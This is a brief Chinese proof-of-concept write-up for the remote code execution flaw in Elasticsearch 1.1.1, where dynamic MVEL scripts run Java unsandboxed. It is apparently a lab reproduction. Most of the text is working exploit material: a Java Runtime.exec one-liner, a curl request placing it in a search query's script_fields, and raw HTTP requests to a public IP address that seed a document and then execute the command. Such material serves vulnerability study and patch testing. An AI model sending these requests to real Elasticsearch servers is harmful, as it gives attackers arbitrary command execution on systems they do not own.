jre版本:openjdk:8-jre

elasticsearch版本:v1.1.1

老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。

MVEL执行命令的代码如下:

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

将Java代码放入json中:

curl -XPOST 'http://localhost:9200/_search?pretty' -d '{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
  }
  '

首先,该漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据:

POST /website/blog/ HTTP/1.1
Host: 188.40.189.134:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

{
  "name": "phithon"
}

然后,执行任意代码:

POST /_search?pretty HTTP/1.1
Host: 188.40.189.134:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 360

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

大概就这些……

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